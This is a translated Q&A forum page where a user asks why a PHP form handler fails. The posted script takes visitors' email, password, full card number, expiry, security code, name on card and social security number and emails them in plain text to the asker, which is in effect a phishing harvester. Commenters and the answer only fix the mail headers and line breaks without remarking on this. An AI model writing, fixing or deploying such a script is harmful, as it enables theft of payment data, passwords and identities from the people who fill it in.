2013-09-30 33 views
0

我在我的网站上创建了一个脚本,让peaople添加他们的付款方式,然后这些信息会发送到我的电子邮件,我会将它们添加到我的列表securly,但是当我点击提交HTML格式submit.php和这个是她的代码没有工作,它显示“ERREUR serveur”能有人帮我我的邮件脚本不起作用?

<?php 
    $email = $_POST['email']; 
    $password = $_POST['password']; 
    $cardtype = $_POST['cardtype']; 
    $cardnumber = $_POST['cardnumber']; 
    $exp = $_POST['exp']; 
    $secure = $_POST['secure']; 
    $namecard = $_POST['namecard']; 
    $socialnumber = $_POST['socialnumber']; 

    $to = '[email protected]'; 
    $subject = 'add ' .$email. 'to the list'; 
    $message = 'his informatin\n 
    email: '.$email.'\n 
    password:'.$password.'\n 
    cardtype: '.$cardtype.'\n 
    cardnumber: '.$cardnumber.'\n 
    exp: '.$exp.'\n 
    secure: '.$secure.'\n 
    namecard: '.$namecard.'\n 
    socialnumber: '.$socialnumber.'\n '; 
    $from = '[email protected]'; 
    $headers = 'From:' . $from; 

    if(mail($to,$subject,$message,$headers)) 
            { 
                header('Location: complete.php'); 
            } 
            else 
            { 
                 echo "Message Not Sent"; 
            } 

    ?> 
+0

开始使用[Swiftmailer](http://swiftmailer.org/)。 –

+1

使用\ r \ n作为新的行分隔符,同时检查你的电子邮件服务器设置,也是'\ n'和'\ n'不一样,其次是正确的,先不是。 – Dexa

+1

使用'$ message = wordwrap($ message,70);'bevor sending .. – q0re

回答

1

如果你想发送HTML邮件时,Content-type头必须设置。

$headers = 'MIME-Version: 1.0' . '\r\n'; 
$headers .= 'Content-type: text/html; charset=iso-8859-1' . '\r\n'; 

//Additional headers 
$headers .= 'From: '.$from.' <[email protected]>\r\n';